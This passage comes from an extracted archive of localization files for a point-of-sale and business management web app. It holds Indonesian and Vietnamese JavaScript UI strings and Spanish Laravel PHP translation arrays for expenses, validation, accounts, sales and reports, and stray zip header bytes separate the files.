'file_browse_label': 'Telusuri..', 'remove': 'Hapus', 'apply': 'Terapkan', 'custom_range': 'Rentang waktu', 'action': 'Tindakan', 'copy': 'Salin', 'export_to_csv': 'Ekspor ke CSV', 'export_to_excel': 'Expor ke Excel', 'export_to_pdf': 'Expor ke PDF', 'print': 'Cetak', 'col_vis': 'Kolom tampak', 'search': 'Cari', 'show': 'Tampil', 'entries': 'entri', 'table_emptyTable':'Tak ada data pada tabel ini', 'table_info':'Menampilkan _START_ hingga _END_ dari _TOTAL_ entri', 'table_infoEmpty':'Menampilkan 0 hingga 0 dari 0 entri', 'table_loadingRecords':'Memuat...', "table_processing": "Memproses...", "table_zeroRecords": "Tidak ada catatan yang cocok", "first": "Awal", "last": "Akhir", "previous": "Sebelumnya", 'contact_id_already_exists': 'ID Kontak sudah ada', 'register': 'Daftar', 'specify_business_name': "Silakan tentukan nama bisnis Anda", 'password_min_length': 'Kata sandi minimal harus 4 karakter', 'password_mismatch': 'Kata sandi tidak cocok', 'invalid_username': 'Nama pengguna sudah ada atau Pengguna tidak valid', 'details': 'Detail', 'select_location': 'Anda harus memilih lokasi sebelum memilih produk apa pun.', 'location_id_already_exists': 'ID Lokasi sudah ada', 'add_name_as_new_supplier': 'Tambahkan ":name" sebagai pemasok baru', 'all': 'Semua', 'filter_by_date': 'Filter menurut tanggal', 'form_will_get_reset': 'Semua produk yang ditambahkan akan dihapus.', 'tour_step3_content_modified': 'Tambahkan Beberapa Lokasi, Tarif Pajak, Pengaturan Faktur untuk toko Anda.', 'tour_step5_content_modified': 'Tambah Produk - Produk Single atau Variabel - Buat Varian untuk produk variabel - Buat Satuan, Merek, dan Kategori <br> Cetak label', "pos_max_qty_error": "Hanya :max_val :unit_name tersedia", "lot_max_qty_error": "Hanya :max_val :unit_name tersedia di Lot yang dipilih", "email_taken": "Email ini telah diambil.", "loading": "Pemuatan", "load_more": "Muat lebih", "mobile": "Ponsel", "something_went_wrong": "Ada yang salah", "max_rp_reached_error": "Maksimum :max_points :rp_name tersedia", "min_order_total_error": "Total pesanan minimum harus :min_order untuk ditebus :rp_name", "this_year": "Tahun ini", "last_year": "Tahun lalu", "last_financial_year": "Tahun keuangan terakhir", "this_month_last_year": "Bulan ini tahun lalu", 'enter_pin_here': 'Masukkan PIN Di Sini', 'authentication_failed': 'Autentikasi gagal!', 'authentication_successfull': 'Autentikasi berhasil', 'please_enter' : 'Silakan masukkan', 'or_more_characters' : 'atau lebih karakter', };PK Q�Z�)Q vi.jsnu �[��� LANG = { 'required': 'Cần thiết', 'sure': 'Bạn có chắc không ?', 'remove_product': 'Bạn có chắc chắn xóa sản phẩm không?', 'cancel_invoice': 'Bạn có chắc chắn hủy hóa đơn không?', 'no_products': 'Không có sản phẩm nào được thêm vào', 'paid_amount_is_less_than_payable': 'Số tiền đã trả nhỏ hơn số tiền phải trả. \ nVui lòng nhấn OK để gửi ưu đãi. ', 'paid_amount_is_more_than_payable': 'Số tiền đã trả nhiều hơn số tiền phải trả. \ nVui lòng kiểm tra. ', 'confirm_delete_role': 'Vai trò này sẽ bị xóa.', 'sku_already_exists': 'SKU đã tồn tại.', 'ref_no_already_exists': 'Số tham chiếu đã được sử dụng.', 'out_of_stock': 'Hàng hết hàng', 'delete_invoice_confirm': 'Cài đặt này sẽ bị xóa.', 'add_name_as_new_customer': 'Thêm ":name" làm khách hàng mới', 'today': 'Hôm nay', 'yesterday': 'Hôm qua', 'last_7_days': '7 ngày qua', 'last_30_days': '30 ngày trước', 'this_month': 'Tháng này', 'last_month': 'Tháng trước', 'this_financial_year': 'Năm tài chính hiện tại', 'clear': 'Thông thoáng', 'no_products_added': 'Không có Sản phẩm nào được thêm vào, hãy thêm một số sản phẩm trước', 'some_error_in_input_field': 'Đầu vào không hợp lệ, Hãy kiểm tra và thử lại !!', 'confirm_delete_expense_category': 'Danh mục này cùng với tất cả các chi phí thuộc danh mục này sẽ bị xóa.', 'confirm_delete_expense': 'Khoản chi này sẽ bị xóa.', 'confirm_delete_payment': 'Khoản thanh toán này sẽ bị xóa.', 'confirm_delete_user': 'Người dùng này sẽ bị xóa', 'confirm_delete_contact': 'Địa chỉ liên hệ này sẽ bị xóa', 'confirm_delete_variation': 'Biến thể này cùng với tất cả các giá trị của nó sẽ bị xóa.', 'confirm_tax_group': 'Nhóm thuế này sẽ bị xóa.', 'confirm_delete_category': 'Danh mục này cùng với tất cả các danh mục phụ dưới nó sẽ bị xóa.', 'confirm_delete_unit': 'Đơn vị này sẽ bị xóa.', 'confirm_delete_tax_rate': 'Thuế suất này sẽ bị xóa.', 'confirm_delete_brand': 'Thương hiệu này sẽ bị xóa.', 'confirm_delete_barcode': 'Cài đặt mã vạch này sẽ bị xóa.', 'add_name_as_new_product': 'Thêm ":term" ngữ làm sản phẩm mới', 'no_products_found': 'Không tìm thấy sản phẩm phù hợp!', 'cancel': 'Hủy bỏ', 'ok': 'ĐƯỢC RỒI', 'view_stock_details': 'Xem kho cho từng biến thể', 'tour_step1_title': 'Tham quan ứng dụng', 'tour_step1_content': 'Hãy xem qua ứng dụng trong 7 bước nhanh chóng ...', 'tour_step2_title': 'Bước 1: Chi tiết cửa hàng', 'tour_step2_content': 'Tại đây, bạn có thể tìm thấy thông tin liên quan đến cửa hàng của mình, Thông tin cơ bản, Dòng sản phẩm, Giảm giá, Thuế và các cài đặt khác.', 'tour_step3_title': 'Bước 2: Thêm tài nguyên', 'tour_step4_title': 'Bước 3: Nhà cung cấp & Khách hàng', 'tour_step4_content': 'Tất cả các nhà cung cấp & khách hàng cho cửa hàng của bạn.', 'tour_step5_title': 'Bước 4: Quản lý Sản phẩm', 'tour_step6_title': 'Bước 5: Quản lý mua hàng', 'tour_step6_content': 'Quản lý các giao dịch mua và thanh toán cho các giao dịch mua.', 'tour_step7_title': 'Bước 6: Quản lý Bán hàng', 'tour_step7_content': 'Bán -> POS, Sử dụng màn hình này trong khi bán sản phẩm hoặc thanh toán cho khách hàng. Chọn Vị trí, Thêm Sản phẩm và Hoàn thiện nó. ', 'tour_step8_title': 'Bước 7: Báo cáo', 'tour_step8_content': 'Xem báo cáo phân tích cho cửa hàng của bạn. Những báo cáo này giúp bạn nhận được thông tin tổng thể về hiệu suất của doanh nghiệp của bạn. ', 'label_no_product_error': 'Vui lòng thêm ít nhất một sản phẩm.', 'confirm_delete_customer_group': 'Nhóm khách hàng này sẽ bị xóa.', 'prev': 'Trước đó', 'next': 'Kế tiếp', 'end_tour': 'Kết thúc chuyến tham quan', 'inc_tax': 'Inc. Thuế', 'exc_tax': 'Xin lỗi. Thuế', 'file_browse_label': 'Duyệt qua ..', 'remove': 'Tẩy', 'apply': 'Nộp đơn', 'custom_range': 'Phạm vi tùy chỉnh', 'action': 'Hoạt động', 'copy': 'Sao chép', 'export_to_csv': 'Xuất sang CSV', 'export_to_excel': 'Xuất sang Excel', 'export_to_pdf': 'Xuất sang PDF', 'print': 'In', 'col_vis': 'Hiển thị cột', 'search': 'Tìm kiếm', 'show': 'Thể hiện', 'entries': 'mục', 'table_emptyTable': 'Không có dữ liệu trong bảng', 'table_info': 'Hiển thị _START_ đến _END_ / _TOTAL_ mục nhập', 'table_infoEmpty': 'Hiển thị 0 đến 0 trong số 0 mục nhập', 'table_loadingRecords': 'Đang tải...', 'table_processing': 'Xử lý...', 'table_zeroRecords': 'Không tìm thấy kết quả', 'first': 'Ngày thứ nhất', 'last': 'Cuối', 'previous': 'Trước', 'contact_id_already_exists': 'ID liên hệ đã tồn tại', 'register': 'Đăng ký', 'specify_business_name': 'Vui lòng ghi rõ tên doanh nghiệp của bạn', 'password_min_length': 'Mật khẩu phải có tối thiểu 4 ký tự', 'password_mismatch': 'Mật khẩu không khớp', 'invalid_username': 'Tên người dùng không hợp lệ hoặc Người dùng đã tồn tại', 'details': 'Thông tin chi tiết', 'select_location': 'Bạn phải chọn một địa điểm trước khi chọn bất kỳ sản phẩm nào.', 'location_id_already_exists': 'ID vị trí đã tồn tại', 'add_name_as_new_supplier': 'Thêm ":name" làm nhà cung cấp mới', 'all': 'Tất cả các', 'filter_by_date': 'Lọc theo ngày', 'form_will_get_reset': 'Tất cả các sản phẩm được thêm vào sẽ bị xóa.', 'tour_step3_content_modified': 'Thêm Nhiều Địa điểm, Thuế suất, Cài đặt Hóa đơn cho cửa hàng của bạn.', 'tour_step5_content_modified': 'Thêm Sản phẩm - Sản phẩm Đơn giản hoặc Có thể thay đổi - Tạo Biến thể cho các sản phẩm có thể thay đổi <br> Tạo Đơn vị, Thương hiệu và Danh mục <br> In nhãn', 'pos_max_qty_error': 'Chỉ :max_val: :unit_name khả dụng', 'lot_max_qty_error': 'Chỉ :max_val: :unit_name có sẵn trong Lô đã chọn', 'email_taken': 'Email này đã được sử dụng.', 'loading': 'Đang tải', 'load_more': 'Tải thêm', 'mobile': 'Di động', 'something_went_wrong': 'Đã xảy ra lỗi', 'max_rp_reached_error': 'Tối đa :max_points :rp_name khả dụng', 'min_order_total_error': 'Tổng số đơn đặt hàng tối thiểu phải là :min_order để đổi :rp_name', 'this_year': 'Năm nay', 'last_year': 'Năm ngoái', 'last_financial_year': 'Năm tài chính trước', 'this_month_last_year': 'Tháng này năm trước', 'edit': 'Biên tập', 'delete': 'Xóa bỏ', 'view': 'Lượt xem', 'customer': 'Khách hàng', 'this_card_has_a_due_date': 'Thẻ này có ngày đến hạn', 'this_card_has_a_end_date': 'Thẻ này có ngày kết thúc', 'this_card_has_a_description': 'Thẻ này có mô tả', 'this_card_has_comments': 'Thẻ này có nhận xét', 'more': ' hơn', 'lead': 'Chì', 'project': 'Dự định', 'overview': 'Tổng quat', 'activities': 'Các hoạt động', 'task': 'Nhiệm vụ', 'time_logs': 'Nhật ký thời gian', 'documents_and_notes': 'Tài liệu & Ghi chú', 'invoices': 'Hóa đơn', 'settings': 'Cài đặt', 'advance_payment_cannot_be_more_than_once': 'Thanh toán trước không được chọn nhiều lần', 'not_connected_to_a_network': 'Bạn không được kết nối với Mạng', 'enter_pin_here': 'Nhập mã PIN ở đây', 'authentication_failed': 'Xác thực thất bại!', 'authentication_successfull': 'Xác thực thành công', 'please_enter' : 'Vui lòng nhập', 'or_more_characters' : 'hoặc nhiều hơn ký tự' };PK G �Z*V�3� � es/expense.phpnu �[��� <?php return [ 'expenses' => 'Gastos', 'expense_categories' => 'Categorías de gastos', 'manage_your_expense_categories' => 'Gestiona tus categorías de gastos', 'all_your_expense_categories' => 'Todas tus categorías de gastos', /* modified */ 'expense_category' => 'Categoría de gastos', 'category_name' => 'Nombre de la categoría', 'category_code' => 'Código de categoría', 'added_success' => 'Categoría de gastos añadida con éxito', 'updated_success' => 'Categoría de gastos actualizada con éxito', 'deleted_success' => 'Categoría de gastos eliminada con éxito', 'add_expense_category' => 'Agregar categoría de gastos', 'edit_expense_category' => 'Editar categoría de gastos', 'all_expenses' => 'Todos los gastos', 'expense_status' => 'Estado del gasto', 'add_expense' => 'Agregar gasto', 'edit_expense' => 'Editar gasto', 'expense_note' => 'Nota de gastos', 'expense_add_success' => 'Gasto añadido con éxito', /* modified */ 'expense_update_success' => 'Gastos actualizados con éxito', 'expense_delete_success' => 'Gastos eliminados con éxito', 'expense_for' => 'Gasto por', ]; PK G �ZH��d� � es/messages.phpnu �[��� <?php return [ 'add' => 'Añadir', 'edit' => 'Editar', 'save' => 'Guardar', /* modified */ 'update' => 'Actualizar', 'action' => 'Acción', 'actions' => 'Acciones', /* modified */ 'view' => 'Ver', 'delete' => 'Borrar', 'close' => 'Cerrar', /* modified */ 'something_went_wrong' => 'Algo salió mal, por favor intente de nuevo más tarde', 'required' => 'Este campo es requerido', 'please_select' => 'Seleccione', 'cancel' => 'Cancelar', 'date' => 'Fecha', 'filter_by_date' => 'Filtrar por fecha', 'location' => 'Ubicación', 'go_back' => 'Volver', /* modified */ 'due_tooltip' => '-ve value = Cantidad a pagar <br> + ve value = Cantidad a recibir', 'purchase_due_tooltip' => '-ve value = Importe a recibir <br> + ve value = Importe a pagar', 'yes' => 'Sí', 'no' => 'No', 'all' => 'Todas', 'settings' => 'Configuraciones', 'business_location_settings' => 'Configuración de ubicación comercial', 'print' => 'Impresión', 'submit' => 'Enviar', 'purchase_sell_mismatch_exception' => 'ERROR: NO PERMITIDO: desajuste entre la cantidad vendida y la compra. Producto: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NO PERMITIDO: desajuste entre el ajuste de stock y la cantidad de compra. Producto: :product', 'transaction_edit_not_allowed' => 'No se permite la edición de transacciones después de :days días.', ]; PK G �Z�ԃ�C C es/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'Ajuste de Stock', 'stock_adjustments' => 'Ajustes de stock', 'list' => 'Listar ajustes de stock', 'add' => 'Agregar ajuste de stock', 'all_stock_adjustments' => 'Todos los ajustes de stock', 'search_product' => 'Buscar productos para el ajuste de stock', 'adjustment_type' => 'Tipo de ajuste', 'normal' => 'Normal', 'abnormal' => 'Anormal', 'total_amount' => 'Cantidad total', 'total_amount_recovered' => 'Cantidad total recuperada', 'reason_for_stock_adjustment' => 'Razón', 'stock_adjustment_added_successfully' => 'Ajuste de stock agregado con éxito', 'search_products' => 'Buscar Productos', 'delete_success' => 'Ajuste de stock eliminado con éxito', 'view_details' => 'Ver detalles de ajuste de stock', ]; PK G �Z8��U U es/home.phpnu �[��� <?php return [ 'home' => 'Inicio', /* modified */ 'welcome_message' => 'Bienvenido :name', 'total_sell' => 'Ventas totales', 'total_purchase' => 'Compras totales', /* modified */ 'invoice_due' => 'Factura a pagar', 'purchase_due' => 'Compra adeudada', 'today' => 'Hoy', 'this_week' => 'Esta semana', 'this_month' => 'Este mes', 'this_fy' => 'Este año fiscal', /* modified */ 'sells_last_30_days' => 'Ventas últimos 30 días', 'sells_current_fy' => 'Año fiscal actual de ventas', /* modified */ 'total_sells' => 'Ventas totales (:currency)', 'product_stock_alert' => 'Alerta de stock del producto', 'payment_dues' => 'Cuota de pago', 'due_amount' => 'Cantidad debida', 'stock_expiry_alert' => 'Alerta de caducidad', 'todays_profit' => 'Beneficio de hoy', ]; PK G �Zت˿ � es/receipt.phpnu �[��� <?php return [ 'product' => 'Producto', 'qty' => 'Cantidad', 'unit_price' => 'Precio unitario', 'subtotal' => 'Subtotal', /* modified */ 'discount' => 'Descuento', 'tax' => 'Impuesto', 'total' => 'Total', 'invoice_number' => 'Factura no.', 'date' => 'Fecha', 'receipt_settings' => 'Configuraciones de recibo', 'receipt_settings_mgs' => 'Todos los ajustes relacionados con los recibos para esta ubicación', 'print_receipt_on_invoice' => 'Factura de impresión automática después de finalizar', 'receipt_printer_type' => 'Tipo de impresora de recibos', 'receipt_settings_updated' => 'Ajuste de recibo actualizado con éxito', ]; PK G �Z��^�� � es/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'Tasas de impuestos', /* modified */ 'manage_your_tax_rates' => 'Administre sus tasas impositivas', 'all_your_tax_rates' => 'Todas sus tasas impositivas', 'name' => 'Nombre', 'rate' => 'Tasa de impuesto %', 'added_success' => 'Tasa impositiva agregada con éxito', 'updated_success' => 'Tasa de impuestos actualizada con éxito', 'deleted_success' => 'Tasa de impuestos eliminada con éxito', 'add_tax_rate' => 'Agregar tasa impositiva', 'edit_taxt_rate' => 'Editar tasa impositiva', 'add_tax_group' => 'Agregar grupo de impuestos', 'tax_group_added_success' => 'Grupo de impuestos agregado con éxito', 'tax_group_updated_success' => 'Grupo de impuestos actualizado con éxito', 'tax_groups' => 'Grupos de impuestos', 'edit_tax_group' => 'Editar grupo de impuestos', 'sub_taxes' => 'Sub impuestos', 'can_not_be_deleted' => 'Esta tasa de impuestos pertenece a algunos grupos de impuestos', ]; PK G �ZA� �� � es/category.phpnu �[��� <?php return [ 'categories' => 'Categorías', 'manage_your_categories' => 'Administra tus categorías', 'all_your_categories' => 'Todas tus categorías', /* modified */ 'category' => 'Categoría', 'category_name' => 'Nombre de la categoría', 'code' => 'Código de categoría', 'add_as_sub_category' => 'Agregar como subcategoría', 'select_parent_category' => 'Seleccionar categoría principal', 'added_success' => 'Categoría añadida con éxito', 'updated_success' => 'Categoría actualizada con éxito', 'deleted_success' => 'Categoría borrada con éxito', 'add_category' => 'Añadir categoría', 'edit_category' => 'Editar categoria', ]; PK G �Z%�q� es/brand.phpnu �[��� <?php return [ 'brands' => 'Marcas', 'manage_your_brands' => 'Gestiona tus marcas', 'all_your_brands' => 'Todas tus marcas', /* modified */ 'note' => 'Nota', 'brand_name' => 'Nombre de la marca', 'short_description' => 'Breve descripción', 'added_success' => 'Marca añadida con éxito', 'updated_success' => 'Marca actualizada con éxito', 'deleted_success' => 'Marca eliminada con éxito', 'add_brand' => 'Agregar marca', 'edit_brand' => 'Editar marca', ]; PK G �Z��M� � es/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Estas credenciales no coinciden con nuestros registros.', 'throttle' => 'Demasiados intentos de acceso. Por favor intente nuevamente en :seconds segundos.', ]; PK G �Z��� � es/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => ':attribute debe ser aceptado.', 'active_url' => ':attribute no es una URL válida.', 'after' => ':attribute debe ser una fecha posterior a :date.', 'after_or_equal' => ':attribute debe ser una fecha posterior o igual a :date.', 'alpha' => ':attribute sólo debe contener letras.', 'alpha_dash' => ':attribute sólo debe contener letras, números y guiones.', 'alpha_num' => ':attribute sólo debe contener letras y números.', 'array' => ':attribute debe ser un conjunto.', 'before' => ':attribute debe ser una fecha anterior a :date.', 'before_or_equal' => ':attribute debe ser una fecha anterior o igual a :date.', 'between' => [ 'numeric' => ':attribute tiene que estar entre :min - :max.', 'file' => ':attribute debe pesar entre :min - :max kilobytes.', 'string' => ':attribute tiene que tener entre :min - :max caracteres.', 'array' => ':attribute tiene que tener entre :min - :max ítems.', ], 'boolean' => 'El campo :attribute debe tener un valor verdadero o falso.', 'confirmed' => 'La confirmación de :attribute no coincide.', 'date' => ':attribute no es una fecha válida.', 'date_format' => ':attribute no corresponde al formato :format.', 'different' => ':attribute y :other deben ser diferentes.', 'digits' => ':attribute debe tener :digits dígitos.', 'digits_between' => ':attribute debe tener entre :min y :max dígitos.', 'dimensions' => 'Las dimensiones de la imagen :attribute no son válidas.', 'distinct' => 'El campo :attribute contiene un valor duplicado.', 'email' => ':attribute no es un correo válido', 'exists' => ':attribute es inválido.', 'file' => 'El campo :attribute debe ser un archivo.', 'filled' => 'El campo :attribute es obligatorio.', 'image' => ':attribute debe ser una imagen.', 'in' => ':attribute es inválido.', 'in_array' => 'El campo :attribute no existe en :other.', 'integer' => ':attribute debe ser un número entero.', 'ip' => ':attribute debe ser una dirección IP válida.', 'ipv4' => ':attribute debe ser un dirección IPv4 válida', 'ipv6' => ':attribute debe ser un dirección IPv6 válida.', 'json' => 'El campo :attribute debe tener una cadena JSON válida.', 'max' => [ 'numeric' => ':attribute no debe ser mayor a :max.', 'file' => ':attribute no debe ser mayor que :max kilobytes.', 'string' => ':attribute no debe ser mayor que :max caracteres.', 'array' => ':attribute no debe tener más de :max elementos.', ], 'mimes' => ':attribute debe ser un archivo con formato: :values.', 'mimetypes' => ':attribute debe ser un archivo con formato: :values.', 'min' => [ 'numeric' => 'El tamaño de :attribute debe ser de al menos :min.', 'file' => 'El tamaño de :attribute debe ser de al menos :min kilobytes.', 'string' => ':attribute debe contener al menos :min caracteres.', 'array' => ':attribute debe tener al menos :min elementos.', ], 'not_in' => ':attribute es inválido.', 'numeric' => ':attribute debe ser numérico.', 'present' => 'El campo :attribute debe estar presente.', 'regex' => 'El formato de :attribute es inválido.', 'required' => 'El campo :attribute es obligatorio.', 'required_if' => 'El campo :attribute es obligatorio cuando :other es :value.', 'required_unless' => 'El campo :attribute es obligatorio a menos que :other esté en :values.', 'required_with' => 'El campo :attribute es obligatorio cuando :values está presente.', 'required_with_all' => 'El campo :attribute es obligatorio cuando :values está presente.', 'required_without' => 'El campo :attribute es obligatorio cuando :values no está presente.', 'required_without_all' => 'El campo :attribute es obligatorio cuando ninguno de :values estén presentes.', 'same' => ':attribute y :other deben coincidir.', 'size' => [ 'numeric' => 'El tamaño de :attribute debe ser :size.', 'file' => 'El tamaño de :attribute debe ser :size kilobytes.', 'string' => ':attribute debe contener :size caracteres.', 'array' => ':attribute debe contener :size elementos.', ], 'string' => 'El campo :attribute debe ser una cadena de caracteres.', 'timezone' => 'El :attribute debe ser una zona válida.', 'unique' => ':attribute ya ha sido registrado.', 'uploaded' => 'Subir :attribute ha fallado.', 'url' => 'El formato :attribute es inválido.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'password' => [ 'min' => 'La :attribute debe contener más de :min caracteres', ], 'email' => [ 'unique' => 'El :attribute ya ha sido registrado.', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'name' => 'nombre', 'username' => 'usuario', 'email' => 'correo electrónico', 'first_name' => 'nombre', 'last_name' => 'apellido', 'password' => 'contraseña', 'password_confirmation' => 'confirmación de la contraseña', 'city' => 'ciudad', 'country' => 'país', 'address' => 'dirección', 'phone' => 'teléfono', 'mobile' => 'móvil', 'age' => 'edad', 'sex' => 'sexo', 'gender' => 'género', 'year' => 'año', 'month' => 'mes', 'day' => 'día', 'hour' => 'hora', 'minute' => 'minuto', 'second' => 'segundo', 'title' => 'título', 'content' => 'contenido', 'body' => 'contenido', 'description' => 'descripción', 'excerpt' => 'extracto', 'date' => 'fecha', 'time' => 'hora', 'subject' => 'asunto', 'message' => 'mensaje', ], ]; PK G �Z���� � es/account.phpnu �[��� <?php return [ 'account' => 'Cuenta', 'manage_your_account' => 'Maneja tu cuenta', 'all_accounts' => 'Todas las cuentas', 'account_number' => 'Número de cuenta', 'add_account' => 'Añadir cuenta', 'account_created_success' => 'Cuenta creada con éxito', 'account_updated_success' => 'Cuenta actualizada con éxito', 'edit_account' => 'Editar cuenta', 'account_closed_success' => 'Cuenta cerrada exitosamente', 'closed' => 'Cerrado', 'list_accounts' => 'Lista de cuentas', 'opening_balance' => 'Saldo de apertura', 'account_book' => 'Libro de cuentas', 'credit' => 'Crédito', 'debit' => 'Débito', 'account_name' => 'Nombre de la cuenta', 'transaction_type' => 'Tipo de transacción', 'fund_transfer' => 'Transferencia de fondos', 'selected_account' => 'Cuenta seleccionada', 'transfer_to' => 'Transferir a', 'fund_transfered_success' => 'Fondo transferido exitosamente', 'deposit' => 'Depositar', 'deposited_successfully' => 'Cantidad depositada con éxito', 'from' => 'Desde', 'to' => 'A', 'balance_sheet' => 'Hoja de balance', 'liability' => 'Responsabilidad', 'assets' => 'Bienes', 'supplier_due' => 'Proveedor Debido', 'customer_due' => 'Cliente debido', 'account_balances' => 'Saldos de cuentas', 'total_assets' => 'Los activos totales', 'total_liability' => 'Responsabilidad Total', 'trial_balance' => 'Balance de Prueba', 'payments_not_linked_with_account' => 'Total <b>:payments </b> pagos no vinculados con ninguna cuenta', 'saving_current' => 'Ahorro / Corriente', 'capital' => 'Capital', 'not_applicable' => 'No aplica', 'account_type' => 'Tipo de cuenta', 'accounts' => 'Cuentas', 'capital_accounts' => 'Cuentas de capital', 'deposit_from' => 'Depósito De', 'no_capital_account_created' => 'No existe una cuenta de capital activa.', 'payment_account_report' => 'Informe de cuenta de pago', 'invoice_ref_no' => 'Factura No./Ref. No.', 'payment_ref_no' => 'Nº de referencia de pago', 'payment_for' => 'Pago por', 'link_account' => 'Vincular cuenta', 'account_linked_success' => 'Cuenta enlazada exitosamente', 'view_details' => 'Ver detalles', ]; PK G �ZL�i es/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Anterior', 'next' => 'Siguiente »', ]; PK G �Z��� � es/contact.phpnu �[��� <?php return [ 'contacts' => 'Contactos', 'name' => 'Nombre', 'contact' => 'Contacto', 'manage_your_contact' => 'Administra tus :contacts', 'all_your_contact' => 'Todos sus :contacts', 'add_contact' => 'Agregar un nuevo contacto', 'contact_type' => 'Tipo de Contacto', 'tax_no' => 'Número de impuesto', 'pay_term' => 'Término de pago', 'pay_term_period' => 'Periodo de plazo de pago', 'mobile' => 'Móvil', 'landline' => 'Línea fija', 'alternate_contact_number' => 'Número de contacto alternativo', 'edit_contact' => 'Editar contacto', 'added_success' => 'Contacto agregado correctamente', 'updated_success' => 'Contacto actualizado con éxito', 'deleted_success' => 'Contacto eliminado correctamente', 'add_new_customer' => 'Agregar nuevo cliente', 'view_contact' => 'Ver contacto', 'contact_info' => 'Datos de :contact', 'all_purchases_linked_to_this_contact' => 'Todas las compras relacionadas con este contacto', 'all_sells_linked_to_this_contact' => 'Todas las ventas relacionadas con este contacto', 'total_purchase_due' => 'Total compra debida', /* modified */ 'pay_due_amount' => 'Cantidad adeudada', 'total_paid' => 'Total pagado', 'total_purchase_paid' => 'Pago total de compra', 'total_sale_paid' => 'Pago de venta total', 'total_sale_due' => 'Venta total debida', /* modified */ 'customer' => 'Cliente', ]; PK G �Z`���� � es/sale.phpnu �[��� <?php return [ 'sale' => 'Vender', 'sells' => 'Ventas', 'list_sale' => 'Lista de ventas', 'add_sale' => 'Agregar venta', 'pos_sale' => 'POS', 'draft_added' => 'Borrador añadido con éxito', /* modified */ 'invoice_added' => 'Factura añadida con éxito', 'item' => 'Artículos', 'total' => 'Total', 'order_tax' => 'Impuesto del pedido', /* modified */ 'discount' => 'Descuento', 'total_payable' => 'Total a pagar', 'cancel' => 'Cancelar', 'draft' => 'Borrador', 'finalize' => 'Finalizar compra', /* modified */ 'express_finalize' => 'Pago <br/> Rápido', 'product' => 'Producto', 'products' => 'Productos', 'unit_price' => 'Precio unitario', 'qty' => 'Cantidad', 'subtotal' => 'Subtotal', /* modified */ 'recent_transactions' => 'Tus transacciones recientes', 'pos_sale_added' => 'Venta añadida con éxito', 'price_inc_tax' => 'Precio inc. Impuesto', 'tax' => 'Impuesto', 'edit_discount' => 'Editar descuento', 'edit_order_tax' => 'Editar impuesto en pedido', /* modified */ 'discount_type' => 'Tipo de descuento', 'discount_amount' => 'Importe de descuento', 'no_recent_transactions' => 'Sin transacciones recientes', 'final' => 'Final', 'invoice_no' => 'Factura no.', 'customer_name' => 'Nombre del cliente', 'payment_status' => 'Estado de pago', 'status' => 'Estado', 'total_amount' => 'Cantidad total', 'total_paid' => 'Total pagado', 'total_remaining' => 'Total restante', 'payment_info' => 'Información de pago', 'drafts' => 'Borradores', 'all_drafts' => 'Todos los borradores', 'sell_details' => 'Detalles de venta', /* modified */ 'payments' => 'Pagos', 'amount' => 'Cantidad', 'payment_mode' => 'Método de pago', /* modified */ 'payment_note' => 'Nota de pago', 'sell_note' => 'Nota de venta', /* modified */ 'staff_note' => 'Nota del personal', 'draft_updated' => 'Borrador actualizado con éxito', 'pos_sale_updated' => 'Venta actualizada con éxito', 'location' => 'Ubicación', 'add_payment_row' => 'Agregar fila de pago', 'finalize_payment' => 'Finalizar el pago', 'sale_date' => 'Fecha de venta', 'list_pos' => 'Lista POS', 'edit_sale' => 'Editar Venta', 'shipping' => 'Transporte', 'shipping_details' => 'Detalles de envío', 'shipping_charges' => 'Gastos de envío', ]; PK G �Zl�f� � es/report.phpnu �[��� <?php return [ 'reports' => 'Informes', 'purchase_sell_report' => 'Compra y venta', 'purchase_sell' => 'Informe de compra y venta', 'purchase_sell_msg' => 'Detalles de compra y venta para el intervalo de fechas seleccionado', 'total_purchase' => 'Compra total', 'purchase_inc_tax' => 'Compra con impuesto incluido', 'total_sell' => 'Venta total', 'sell_inc_tax' => 'Venta con impuesto incluido', 'purchase_due' => 'Compra adeudada', 'sell_due' => 'Vencimiento', 'overall' => 'Total (Venta-Compra)', 'sell_minus_purchase' => 'Venta - Compra', 'difference_due' => 'Cantidad debida', 'customer' => 'Clientes', 'supplier' => 'Proveedores', 'total_due' => 'Debido', 'contacts' => 'Informe de proveedor y cliente', 'contact' => 'Contacto', 'stock_report' => 'Informe de stock', 'products' => 'Productos', 'current_stock' => 'Stock actual', 'total_unit_sold' => 'Unidad total vendida', 'tax_report' => 'Informe fiscal', 'tax_report_msg' => 'Detalles de impuestos para el intervalo de fechas seleccionado', 'input_tax' => 'Impuesto soportado', 'output_tax' => 'Impuesto de salida', 'tax_overall' => 'Total (Entrada - Salida)', 'input_tax_minus_output_tax' => 'Impuesto de entrada - Impuesto de salida', 'trending_products' => 'Productos de tendencia', 'apply_filters' => 'Aplicar filtros', 'filters' => 'Filtros', 'expense_report' => 'Informe de gastos', 'total_expense' => 'Gasto total', 'others' => 'Otros', 'all' => 'Todas', 'top_trending_products' => 'Productos de tendencia superior', 'all_locations' => 'Todas las localizaciones', 'stock_adjustment_report' => 'Informe de ajuste de stock', 'total_stock_adjustment' => 'Ajuste de stock total', 'total_recovered' => 'Cantidad total recuperada', 'total_normal' => 'Total Normal', 'total_abnormal' => 'Total anormal', 'register_report' => 'Registrar informe', 'open_time' => 'Hora de apertura', /* modified */ 'close_time' => 'Hora de cierre', 